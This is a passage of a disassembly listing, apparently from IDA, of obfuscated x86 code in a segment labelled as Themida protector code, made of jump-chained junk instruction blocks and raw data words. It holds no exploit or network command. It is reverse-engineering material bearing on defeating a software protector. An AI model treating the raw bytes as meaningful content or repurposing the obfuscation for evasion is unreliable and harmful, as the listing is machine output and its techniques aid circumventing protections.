loc_58B6DE:				; CODE XREF: Themida_:00584DFBj
		push	ecx
		pop	esi
		pop	ecx
		jmp	loc_5869F6
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24048124h, 4, 4C7815Fh, 81000000h, 4C7h, 243C8700h
		dd 8324248Bh, 59E904ECh
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B70B:				; CODE XREF: Themida_:00581D67j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		mov	eax, ebx
		pop	ebx
		jmp	loc_58A8EA
; ---------------------------------------------------------------------------
		dw 0EE83h
		dd 74FF5604h, 0E95E0424h, 0FFFFD787h
; ---------------------------------------------------------------------------


loc_58B72C:				; CODE XREF: Themida_:00585C98j
		mov	ecx, 0FEB605Eh
		add	ecx, 5F52149Eh
		neg	ecx
		jmp	loc_587ABD
; ---------------------------------------------------------------------------


loc_58B73E:				; CODE XREF: Themida_:00583B85j
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_581AA8
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4812404h, 4, 0FF7119E9h, 148B66FFh, 2C48324h
		dd 0FFB66DE9h, 0E1F781FFh, 0FF595E45h, 0E95A2434h, 0FFFFF114h
		dd 6645F580h, 0E9CFB652h, 16D0h
; ---------------------------------------------------------------------------


loc_58B78C:				; CODE XREF: Themida_:00589178j
		pop	esi
		and	eax, ebx
		pop	ebx
		jmp	loc_58795C
; ---------------------------------------------------------------------------
		db 52h,	81h, 0ECh
		dd 2, 0FF7DB9E9h, 2E6C1FFh, 0A08E9h
		db 0
; ---------------------------------------------------------------------------


loc_58B7A9:				; CODE XREF: Themida_:00588AA7j
		add	edi, 4
		jmp	loc_58DD39
; ---------------------------------------------------------------------------
aFsX		db 'fS³X',0
		dw 66D8h
		dd 2BB1515Bh, 0C003E9C0h, 516603E9h, 0F6243C86h, 171E9D7h
		dd 8B660000h, 0B1682404h, 0E9000059h, 0FFFFEAB0h, 9C241CF6h
		dd 2067E9h
		db 0
; ---------------------------------------------------------------------------


loc_58B7E5:				; CODE XREF: Themida_:005845C1j
		sub	dword ptr [esp+8], 4A922F27h
		jmp	loc_5819A8
; ---------------------------------------------------------------------------


loc_58B7F2:				; CODE XREF: Themida_:00588552j
		add	ebp, ecx
		pop	ecx
		push	eax
		jmp	loc_58CD72
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9241C8Bh, 1EE6h, 0E968D231h, 8900004Eh, 34FF241Ch
		dd 24048B24h, 5604C483h, 0E5A2E954h, 0E953FFFFh, 0FFFFCAB7h
; ---------------------------------------------------------------------------


loc_58B824:				; CODE XREF: Themida_:00581978j
		pop	edi
		add	ebp, 1D4605E1h
		add	ebp, eax
		sub	ebp, 1D4605E1h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5889E1
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 5C7A93BDh, 4E5C178h,	0ED81DDF7h, 0D6C69E57h,	15DE829h
		dd 0BF5758C5h, 2, 0FF663CE9h, 605FE9FFh, 0C189FFFFh, 6BF18158h
		dd 1AF2285h, 2434FFCAh,	4C48159h, 81000000h, 2C2h, 24148700h
		dd 0C8B665Ch, 0BA6E924h, 5580000h, 40A95D03h, 7FE9D001h
		dd 56FFFF95h, 0C6C3E954h, 6F09FFFFh, 2434FF1Ch,	4C4835Dh
		dd 0FF6014E9h, 0E9E95BFFh, 0F6000014h, 0DF2AE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B8C2:				; CODE XREF: Themida_:00581E77j
		sub	esi, 53DE4236h
		add	esi, 0FFFFFFFFh
		not	esi
		add	esi, 6B964C9h
		mov	edx, esi
		pop	esi
		and	eax, edx
		jmp	loc_58502D
; ---------------------------------------------------------------------------
		dd 2C8B5455h, 4C48324h,	81E28952h, 4C2h, 4EA8100h, 87000000h
		dd 895C2414h, 5EB82404h, 355B0701h, 1D1E5BEDh, 585DC905h
		dd 4FE9405Dh, 83000008h, 5C2904C4h, 44810424h, 22C60424h
		dd 0E95B15F8h, 0FFFF5FA1h, 0AFC38159h, 153AA66h, 61E957FBh
		dd 33FFFFA8h, 0A1E9241Ch, 86FFFF70h, 5966243Ch,	0FF7EF0E9h
		dd 4C483FFh, 0E95AD528h, 0FFFFD9BCh
; ---------------------------------------------------------------------------


loc_58B954:				; CODE XREF: Themida_:00589F2Bj
		mov	ch, ah
		pop	eax
		push	ebx
		mov	ebx, 0
		add	ebx, eax
		mov	[ebx], ch
		jmp	loc_583903
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 111176BFh, 1768C201h, 89000010h, 9D68240Ch, 89000035h
		dd 0F5E9241Ch, 87FFFFC8h, 0E95C2434h, 0FFFF82CAh, 8158C521h
		dd 2A0ABBE5h, 7FE9E90Fh, 8F5DFFFFh, 0D4E92404h,	81FFFFE5h
		dd 4C1h, 240C8700h, 6E27E95Ch, 0D889FFFFh, 66BE565Bh, 2921DA2Bh
		dd 0E120E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B9C2:				; CODE XREF: Themida_:0058DF99j
		xor	edi, 3A5B12B1h
		neg	edi
		xor	edi, 111250E1h
		add	edi, 5E7D181Dh
		add	eax, edi
		pop	edi
		jmp	loc_58A3B8
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9242C89h, 0FFFFF2F2h, 0FF5ED8E9h, 1BDFFh, 0EB290000h
		dd 0FBEB815Dh, 530D3E7Eh, 0DE240481h, 5A291556h, 56DEEA81h
		dd 15B2915h, 0E9575AD7h, 0FFFFA655h, 9B70E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BA1E:				; CODE XREF: Themida_:0058E009j
		mov	edi, [esp]
		add	esp, 4
		push	eax
		push	9FB0352h
		pop	eax
		jmp	loc_5822C1
; ---------------------------------------------------------------------------
		db 51h
		dd 0CB88D188h, 959DE959h, 0E789FFFFh, 0FF7677E9h, 87ED81FFh
		dd 8B4E5855h, 0C483240Ch, 242C3304h, 0FFEF26E9h, 0F1F680FFh
		dd 0FFDB6FE9h, 4EC81FFh, 54000000h, 0FF6F18E9h,	5BD368FFh
		dd 1C890000h, 0A2B8E924h, 5456FFFFh, 4EC815Eh, 89000000h
		dd 4BF243Ch, 1000000h, 0C6815FFEh, 4, 8B243487h, 78E92424h
		dd 83FFFFF3h, 0D7E904ECh, 5BFFFFA0h, 0FFF907E9h, 8734FFFFh
		dd 8F240481h, 8B169F31h, 89522404h, 6485E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BAC2:				; CODE XREF: Themida_:0058391Bj
		pop	ebx
		jmp	loc_5833E8
; ---------------------------------------------------------------------------


loc_58BAC8:				; CODE XREF: Themida_:0058917Fj
		pop	ax
		add	al, 0B5h
		sub	al, ch
		sub	al, 0B5h
		pop	ecx
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0C3h, 66h
		dd 0E924048Bh, 0FFFF93F7h, 0D3F7DD87h, 0B951DD87h, 0FF9C8335h
		dd 0C8BCD29h, 0BA9CE924h, 6C81FFFFh, 663D0424h,	54291CC2h
		dd 0D0E90424h, 5B000023h, 6C6068h, 242C8900h, 4BDh, 7CC38100h
		dd 0E9671A6Dh, 0FFFFBBD6h
; ---------------------------------------------------------------------------


loc_58BB24:				; CODE XREF: Themida_:00583ABCj
		mov	ebx, esp
		push	edi
		jmp	loc_581C79
; ---------------------------------------------------------------------------
		dd 0F75BA52h, 0D301177Eh, 0FF9ED3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58BB39:				; CODE XREF: Themida_:00583D34j
		pop	eax
		jmp	loc_584349
; ---------------------------------------------------------------------------
		db 66h
		dd 6602B60Fh, 66721A68h, 0E9240489h, 0FFFF5D79h, 1500E181h
		dd 0E1C13465h, 7DE98102h, 812C429Eh, 0BA095BEAh, 81CA2969h
		dd 0BA095BC2h, 0C2015969h, 5E5AE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BB76:				; CODE XREF: Themida_:00586774j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_58500A
; ---------------------------------------------------------------------------
		dd 82BCE95Dh, 6DBAFFFFh, 29344A50h, 0FD015AD5h,	0FFCCC8E9h
		dd 26E955FFh, 8100001Ah, 4C2h, 4C28300h, 2474FF52h, 48F5A04h
		dd 891DE924h, 0FF5AFFFFh, 34FF2434h, 2434FF24h,	0FFE834E9h
		dd 268FFh, 1580000h, 0C951E9C5h, 0C281FFFFh, 6C8904D7h
		dd 0FFD984E9h, 9CBE56FFh, 817F053Ah, 0C14249E6h, 4EE811Fh
		dd 0E91F0102h, 0FFFF9C43h, 2468h, 2434FF00h, 0E3C9E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BC02:				; CODE XREF: Themida_:0058CDB9j
		xor	edx, 46AA61D2h
		add	edx, 0B3431016h
		add	ebx, edx
		pop	edx
		push	3F4Bh
		mov	[esp], eax
		jmp	loc_586F8F
; ---------------------------------------------------------------------------
		dw 0F389h
		dd 5BDA095Eh, 0FFBA3DE9h, 240C89FFh, 582434FFh,	8B04C483h
		dd 0FAE9240Ch, 8BFFFFCEh, 0C4812404h, 4, 167E4A05h, 5E8C128h
		dd 4091BA52h, 0E9514512h, 682h
; ---------------------------------------------------------------------------


loc_58BC58:				; CODE XREF: Themida_:0058AB64j
		mov	ebp, eax
		pop	eax
		jmp	loc_5875A1
; ---------------------------------------------------------------------------
		dd 5C242C87h, 5C24048Fh, 0FFC6AFE9h, 4C181FFh, 83000000h
		dd 148904ECh, 4BA24h, 2AE90000h, 5AFFFFF1h, 0FFE54DE9h
		dd 80B3B6FFh, 51E92BC6h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58BC93:				; CODE XREF: Themida_:00585A6Aj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		jmp	loc_586557
; ---------------------------------------------------------------------------


loc_58BCBA:				; CODE XREF: Themida_:00586121j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	esi
		push	eax
		jmp	loc_58DF88
; ---------------------------------------------------------------------------


loc_58BCC9:				; CODE XREF: Themida_:0058844Ej
		pop	eax
		push	edi
		mov	edi, 9756BB5h
		xor	edi, 5C3000AEh
		shl	edi, 7
		dec	edi
		jmp	loc_58AD29
; ---------------------------------------------------------------------------
		db 0BDh
		dd 733414ECh, 295DE801h, 14EC2DD8h, 0BF577334h,	2A75064Bh
		dd 2BFCF781h, 0F781570Eh, 10B061ECh, 6AC7814Fh,	8169175Dh
		dd 551C07EFh, 0E17CE937h, 1489FFFFh, 0F2EFE924h, 815DFFFFh
		dd 0D134F2C2h, 0A6C28160h, 152E836h, 0A6EA81F2h, 5652E836h
		dd 12A9E9h, 243C8B00h, 5104C483h, 0C181E189h, 4, 0F6A0E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BD4A:				; CODE XREF: Themida_:00581A8Bj
		xchg	edi, [esp]
		pop	esp
		push	66E2h
		mov	[esp], edi
		mov	edi, 2B553A4Ah
		jmp	loc_585A8D
; ---------------------------------------------------------------------------


loc_58BD60:				; CODE XREF: Themida_:00588A57j
		add	eax, 694B3D06h
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		jmp	loc_586AA2
; ---------------------------------------------------------------------------
		dw 535Dh
		dd 50242C81h, 5D152075h, 37D6BF57h, 0DFF71C01h,	0FF89EEE9h
		dd 0C2815AFFh, 4, 4EA81h, 14870000h, 4895C24h, 8BE95524h
		dd 0ACFFFFA0h, 0FFF913E9h, 0F6F5B1FFh, 0E9D1F6D9h, 19Ch
		dd 405h, 24048700h, 5724248Bh, 0C250F7BFh, 5FFE3163h, 34FFF001h
		dd 89565E24h, 1D9E9E6h,	8B660000h, 89562404h, 0F16BE9E6h
		dd 0E901FFFFh, 0FF747BE9h, 5FFA01FFh, 0FF5AD8E9h, 4EC81FFh
		dd 89000000h, 7CE9243Ch, 81FFFFAFh, 631DADC2h, 23E981D9h
		dd 292F8911h, 23C181D1h, 5A2F8911h, 0D07AC181h,	0CD01AA68h
		dd 81240C8Bh, 4C4h, 0E9DCE900h,	0CE01FFFFh, 1F5FE9h, 4EC8300h
		dd 8F241C89h, 58E92447h, 89FFFFC4h, 15E953E5h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BE47:				; CODE XREF: Themida_:0058C6C3j
		sub	dword ptr [esp], 54B2600Fh
		pop	esi
		add	esi, 54B2600Fh
		pop	ebx
		jmp	loc_586031
; ---------------------------------------------------------------------------
		db 52h
		dd 9BDCE953h, 0EC81FFFFh, 4, 89240C89h,	699EE9E1h, 34FFFFFFh
		dd 2434FF24h, 2B0E959h,	815A0000h, 0D5BA4F2h, 5AD0895Bh
		dd 4244401h, 0FF98DFE9h, 0C2815AFFh, 4,	2B95150h, 89000000h
		dd 240C8BC8h, 4C481h, 0C2010000h, 0FFD117E9h, 55B951FFh
		dd 81299116h, 0F3405FC1h, 0A3E98117h, 16E045Fh,	0E82959CDh
		dd 0E9C2895Dh, 0FFFFF9C2h
; ---------------------------------------------------------------------------


loc_58BED0:				; CODE XREF: Themida_:0058A02Ej
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ebp, 4
		jmp	loc_584E9F
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0E1895124h, 4C181h, 0B8500000h, 4, 5158C129h, 0FFE194E9h
		dd 0C8B66FFh, 0E9545024h, 17BCh, 8B24048Fh, 9B682424h
		dd 0E900004Bh, 0FFFF8DA7h, 8A243481h, 0FF26DB6Dh, 0BCE92434h
		dd 0E9000001h, 0FFFF5999h, 0E0E9F488h, 5AFFFFF1h, 19E9F189h
		dd 81FFFFE9h, 4C6h, 24348700h, 0E924248Bh, 0FFFFD533h
		dd 35C180h, 516659CAh, 0FFBF9DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58BF5D:				; CODE XREF: Themida_:00585197j
		push	438958E7h
		pop	eax
		jmp	loc_581B77
; ---------------------------------------------------------------------------
		dd 4B43B951h, 0BA5222AEh, 1B3F7215h, 0FF66B7E9h, 0BDEA81FFh
		dd 5676E34Bh, 0C3996CBEh, 5EF2314Dh, 4E8268h, 24148900h
		dd 0F5815A5Dh, 2A0A4A37h, 0B850E5D1h, 4B5E49A2h, 158C501h
		dd 8B04246Ch, 0FCE9242Ch, 53FFFFBEh, 4BBh, 0E9DE0100h
		dd 0FFFF6FF2h
; ---------------------------------------------------------------------------


loc_58BFBC:				; CODE XREF: Themida_:00581DF7j
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_58ADA4
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0FFB149E9h, 0C7EA81FFh, 8975F302h, 0CE95AD7h, 5FFFFF71h
		dd 4EC81h, 1C890000h, 351D6824h, 0CCE9670Bh
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BFF7:				; CODE XREF: Themida_:005881BCj
		add	dword ptr [esp], 4
		jmp	loc_588699
; ---------------------------------------------------------------------------
		dd 18D5C781h, 9CE907B1h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_583522
; ---------------------------------------------------------------------------


loc_58C022:				; CODE XREF: Themida_:0058D013j
		pop	ebp
		add	ebp, 4
		jmp	loc_58360C
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 5F1BBF24h, 0F829FF6Fh, 95C5815Fh, 15E5D13h, 6EB0E9C5h
		dd 8B66FFFFh, 3FE9240Ch, 5FFFFFE7h, 3C8BFB89h, 4C48324h
		dd 0E95BDF01h, 0FFFFB970h, 0EE81D6F7h, 1, 0FFDA27E9h, 81CF01FFh
		dd 0D14EEBC7h, 1C7813Dh, 5972C129h, 0CE9D701h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C083:				; CODE XREF: Themida_:0058B490j
		mov	esi, ecx
		pop	ecx
		pop	edi
		and	eax, esi
		mov	esi, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_58833C
; ---------------------------------------------------------------------------
		dd 582434FFh, 81595451h, 4C1h, 0CF8AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C0B2:				; CODE XREF: Themida_:0058A75Fj
		xchg	esi, [esp]
		jmp	loc_58874E
; ---------------------------------------------------------------------------
		dw 0E929h
		dd 53242C8Bh, 0C3815B54h, 4, 3304C383h,	1C31241Ch, 241C3324h
		dd 0FF9800E9h, 68575FFFh, 2, 0A3E9525Fh, 8BFFFFFAh, 6856240Ch
		dd 0B30h, 0FFBDADE9h, 3E0C1FFh,	0A35A3635h, 58C5318Ch
		dd 0DECBE951h, 48BFFFFh, 0E3895324h, 4C381h, 0C3830000h
		dd 241C8704h, 0B951575Ch, 4, 9DE3E951h,	0C8BFFFFh, 90D1E924h
		dd 0C481FFFFh, 4, 0FF9A25E9h, 36852FFh,	0E9668977h, 0FFFFFD3Ah
; ---------------------------------------------------------------------------


loc_58C144:				; CODE XREF: Themida_:005818D2j
		mov	dh, 14h
		add	al, 25h
		add	al, dh
		sub	al, 25h
		pop	dx
		jmp	loc_581F61
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 24041058h, 5767E99Ch, 9268FFFFh, 0E900001Fh
		dd 0FFFFF6D5h
; ---------------------------------------------------------------------------


loc_58C16C:				; CODE XREF: Themida_:00584FB0j
		pop	ebx
		add	esp, 4
		sub	esp, 4
		jmp	loc_58CBBA
; ---------------------------------------------------------------------------
		dd 0D589C289h, 24048B5Ah, 8104C483h, 0F861D0EDh, 74CD815Bh
		dd 81310808h, 690BFDF5h, 5DE801F3h, 31240433h, 4332404h
		dd 0BCABE924h, 2C33FFFFh, 242C3124h, 0FF833BE9h, 427F68FFh
		dd 2C890000h, 0FCBA5224h, 89064925h, 0CD815AD5h, 11E80852h
		dd 5FD8CD81h, 88E97FE1h, 5C000012h, 12E95052h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C1DB:				; CODE XREF: Themida_:0058DE87j
		pop	ebx
		jmp	loc_583FB2
; ---------------------------------------------------------------------------
		db 68h,	0B1h, 1Bh
		dd 1C890000h, 7A12E924h, 0F580FFFFh, 42C580F5h,	0E959EA88h
		dd 0FFFF6F8Dh, 4C481h, 74E90000h, 5300000Eh, 0F7B1B6B3h
		dd 80D4F180h, 0D93067E9h, 0E92434FFh, 0FFFF6942h, 19B75352h
		dd 5BFE88h, 24148BF3h, 0FF7465E9h, 0B5DAB2FFh, 5AD50004h
		dd 53A5ED80h, 0F888EF88h, 0FFF12BE9h, 15D52DFFh, 0D029097Bh
		dd 7B15D505h, 24148B09h, 4C481h, 0C3310000h, 6AE930FFh
		dd 5DFFFF56h, 0FF8F8EE9h, 0EBC15FFFh, 0AEEB8105h, 81917A2Eh
		dd 813994C7h, 0CFEF8159h, 810DD132h, 0CA17D1C7h, 0E9DF2968h
		dd 0E2Bh, 5966CE28h, 70E9F028h,	83FFFF7Bh, 0C48104C4h
		dd 4, 4C181h, 0EC810000h, 4, 0E9243C89h, 0FFFF8397h, 0A6E9E289h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C2B7:				; CODE XREF: Themida_:00585FEEj
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_583C5E
; ---------------------------------------------------------------------------
		dd offset dword_4E6ECC+1A79Ch
		dd 240C8900h, 0B8505954h, 70DC7F54h, 570CE957h,	5DB9FFFFh
		dd 0E938E417h, 0FFFF9DB5h, 8904EC83h, 0E6E92404h, 81FFFFA1h
		dd 9C04246Ch, 0E9448772h, 0FFFFF71Ch, 0FFBB535Dh, 29FFFFFFh
		dd 39E95BD9h, 31FFFF82h, 0D8F759C8h, 0D493802Dh, 83D8F786h
		dd 0BE901C0h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C31F:				; CODE XREF: Themida_:00583227j
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_589A0F
; ---------------------------------------------------------------------------
aYso		db ' ÎYéo',8,0
		dd 784EB800h, 0E0C10925h, 25C10507h, 0B9E9AA53h, 81FFFFD8h
		dd 24A7EEh, 6FD2E94Eh, 0C681FFFFh, 4, 2B850h, 0C6010000h
		dd 24348758h, 0E924248Bh, 0FFFF7180h, 0B58C681h, 41E92D36h
		dd 0C100001Ah, 0EFD107E7h, 0FFED5AE9h, 6FA8BAFFh, 0D5314A8Bh
		dd 5DEB095Ah, 0A163B951h, 0CB019441h, 1E4E9h, 240C8B00h
		dd 4C481h, 0C4810000h, 4, 8B241C87h, 89662424h,	12E92404h
		dd 0F6FFFF55h, 0F8EA80D2h, 148BD328h, 0FE36E924h, 0E95FFFFFh
		dd 630h, 4240481h, 8B000000h, 8952240Ch, 0AC68E9E2h, 8B66FFFFh
		dd 6BE92404h, 81FFFFE5h, 4C4h, 5A545200h, 0A1C68h, 243C8900h
		dd 0BD55B8BFh, 14F7816Dh, 0E911D356h, 1BD9h, 0E9240489h
		dd 0FFFF5FC5h, 915A5952h, 31C13148h, 81C131C8h,	0C90B12E1h
		dd 0D0BB5301h, 8153CE62h, 6D5C98E9h, 26C18157h,	0E904B807h
		dd 0FFFFA10Bh, 0E9E38953h, 0FFFFC19Ah, 285AF000h, 5BE92CF8h
		dd 7FE92104h, 8F000014h, 5473E902h, 5266FFFFh, 432CE9B6h
		dd 4304F028h, 24148B66h, 34FF5453h, 241C8B24h, 86D2E955h
		dd 815BFFFFh, 0ED13EDEBh, 0F534E9A5h, 0E951FFFFh, 0FFFFBEC1h
		dd 2434335Dh, 0E9243431h, 0FFFF9D5Ah, 9BE9DDF7h, 5BFFFFC4h
		dd 5706F681h, 0F1315F71h, 252E9h, 243C8900h, 0EC83E789h
		dd 24348904h, 3A6D56BEh, 5EEC109h, 6DF6814Eh, 10049D3h
		dd 0C7835EF7h, 243C8704h, 0B430E95Ch, 1C89FFFFh, 5DE4E924h
		dd 0E9ACFFFFh, 0FFFF563Bh
; ---------------------------------------------------------------------------


loc_58C4DC:				; CODE XREF: Themida_:0058C685j
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		mov	edx, 89B2CBAh
		add	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 200000h
		and	eax, ecx
		mov	ecx, [esp]
		push	2EF3h
		mov	[esp], eax
		push	esp
		pop	eax
		push	esi
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5850CF
; ---------------------------------------------------------------------------
		dd 4C681h, 0C6810000h, 4, 7C04E956h, 68FFFFh, 5D000008h
		dd 0B5DE821h, 0A3840FC0h, 0FFFFFFB3h, 5BE91C77h, 1FFFF5Fh
		dd 13C2E9FDh, 0E9510000h, 0FFFF5939h, 0C381E389h, 4, 0FFDB71E9h
		dd 0D82159FFh, 0E9241C8Bh, 0FFFF9DAAh
; ---------------------------------------------------------------------------


loc_58C588:				; CODE XREF: Themida_:00583D78j
		add	edx, 17897B80h
		push	esi
		mov	esi, 65C4721Fh
		add	edx, esi
		jmp	loc_58B31F
; ---------------------------------------------------------------------------
		db 81h
		dd 4840D1C2h, 16EA8166h, 102E920h, 16C281F2h, 0E902E920h
		dd 0FFFF7D36h
; ---------------------------------------------------------------------------


loc_58C5B4:				; CODE XREF: Themida_:00585F04j
		push	ebx
		mov	bh, ch
		jmp	loc_585FE9
; ---------------------------------------------------------------------------


loc_58C5BC:				; CODE XREF: Themida_:005876A2j
		xchg	esi, ebx
		sub	ebx, 5F77A33Eh
		sub	edx, 584A35EDh
		add	edx, ebx
		add	edx, 584A35EDh
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 0C7E9B9A0h
		push	51C3h
		mov	[esp], edx
		pop	ebx
		pop	edx
		add	ebx, edi
		jmp	loc_58805C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0A2E92404h, 1FFFFB3h, 6D6B2DD8h, 1C8B6DF2h, 0EC815724h
		dd 4, 0FFB94CE9h, 63C681FFh, 295FFC3Bh,	0FEB850D6h, 407F3D31h
		dd 0F703E0C1h, 5A36E9D8h, 5159FFFFh, 240C8B54h,	4C481h
		dd 36E90000h, 0BAFFFFF6h, 6ABF57BAh, 0FFFFCCE9h, 4C481FFh
		dd 87000000h, 0BDE9240Ch, 8BFFFF97h, 5452240Ch,	0FF5BBBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C659:				; CODE XREF: Themida_:0058973Ej
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		sub	dword ptr [esp], 89B2CBAh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58C4DC
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 622B177Fh, 0EFBFE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C696:				; CODE XREF: Themida_:0058A9C5j
		sub	esp, 4
		jmp	loc_581CA6
; ---------------------------------------------------------------------------
		dw 3489h
		dd 81E68924h, 4C6h, 4C68100h, 0E9000000h, 0FFFFF2CFh
; ---------------------------------------------------------------------------


loc_58C6B4:				; CODE XREF: Themida_:00581CD0j
		push	5BA5h
		mov	[esp], esi
		push	ebx
		mov	ebx, 3C435619h
		push	ebx
		jmp	loc_58BE47
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFFBFD1h, 0D8668h, 24148900h, 0FFDDC8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C6DD:				; CODE XREF: Themida_:0058830Aj
		dec	edi
		jmp	loc_583E86
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF51E1h, 2768DDF7h, 8900003Bh, 0A4E9241Ch, 8B000017h
		dd 0C4812434h, 4, 26BE5655h, 0BD556255h, 0C295B831h, 0E95EF501h
		dd 45Ch, 0DF89C389h, 0FA01585Bh, 0FF767CE9h, 6404ACFFh
		dd 0FF55F6E9h, 242C89FFh, 1A4868h, 24048900h, 4A237BB8h
		dd 257BBD46h, 4FE9464Ah
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C743:				; CODE XREF: Themida_:00586EAEj
		sub	eax, 6E463A4Ah
		or	eax, 4BDE5C12h
		xor	eax, 2E74F08h
		sub	eax, 491993DAh
		jmp	loc_58197D
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Fh,	0FFC5CEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C769:				; CODE XREF: Themida_:00588359j
		push	14D2h
		jmp	loc_587A60
; ---------------------------------------------------------------------------
		db 1
		dd 0AFE956D8h, 52000015h, 0D84CD068h, 0D7315A4Fh, 0E4E9505Ah
		dd 66000008h, 0D83166ADh, 42C868h, 7F47E900h, 5429FFFFh
		dd 815A0424h, 0F7F242Ch, 1C292FDFh, 24048124h, 2FDF0F7Fh
		dd 0C8240481h, 0E90B213Dh, 0FFFF775Dh, 46BBF381h, 0EA812772h
		dd 12DA3138h, 5384EA81h, 0DA01230Bh, 0FFEA55E9h, 241C89FFh
		dd 0FFA444E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C7DD:				; CODE XREF: Themida_:0058AD99j
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		jmp	loc_5880E0
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0E7h
		dd 53595A24h, 254F89BBh, 0B4E9515Fh
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C7FF:				; CODE XREF: Themida_:00583C66j
		mov	eax, 0
		add	eax, edx
		push	edx
		mov	edx, 0
		jmp	loc_584199
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 81E38953h, 4C3h, 4C38300h, 0FFDD37E9h, 0F7DD87FFh, 81DD87DBh
		dd 0E60734E5h, 81D5F762h, 979FF9EDh, 8BEB89CDh,	0C483242Ch
		dd 0E9DF8904h, 0FFFF899Ch
; ---------------------------------------------------------------------------


loc_58C848:				; CODE XREF: Themida_:0058B589j
		mov	esp, [esp]
		imul	cl
		jmp	loc_583C3D
; ---------------------------------------------------------------------------
		dw 6664h
		dd 5453028Bh, 7928E95Bh, 0C781FFFFh, 79C05EAAh,	8E5CF781h
		dd 0FE01F527h, 4BF575Fh, 1000000h, 2434FFFEh, 4EC815Fh
		dd 89000000h, 5A542414h, 4C281h, 0C2830000h, 24148704h
		dd 2434335Ch, 33243431h, 248B2434h, 24040924h, 5023E99Ch
		dd 0A468FFFFh, 0E9000027h, 0FFFF5FECh, 4C481h, 0C4830000h
		dd 4BBD5504h, 456A4942h, 5947F581h, 0EB814C2Bh,	4DF06AE4h
